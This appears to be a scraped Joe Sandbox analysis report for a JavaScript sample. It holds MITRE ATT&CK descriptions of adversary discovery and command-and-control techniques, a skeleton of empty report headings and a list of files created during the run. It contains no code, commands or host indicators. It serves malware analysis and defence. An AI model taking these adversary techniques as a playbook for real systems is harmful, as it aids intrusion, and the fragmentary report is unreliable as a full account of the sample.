Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 17772451271118687.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6685b011-e0b7-4e4c-80ec-f765c30cde4a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5788

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
17772451271118687.js